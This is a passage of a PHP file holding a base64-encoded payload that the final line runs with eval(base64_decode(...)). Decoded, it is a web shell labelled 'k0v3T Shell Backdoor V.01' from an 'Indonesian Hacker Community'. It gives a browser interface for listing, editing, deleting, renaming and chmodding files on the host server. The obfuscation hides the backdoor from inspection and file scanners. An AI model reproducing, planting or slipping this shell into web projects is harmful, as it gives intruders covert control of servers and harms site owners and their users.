NlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval(base64_decode($code));
?>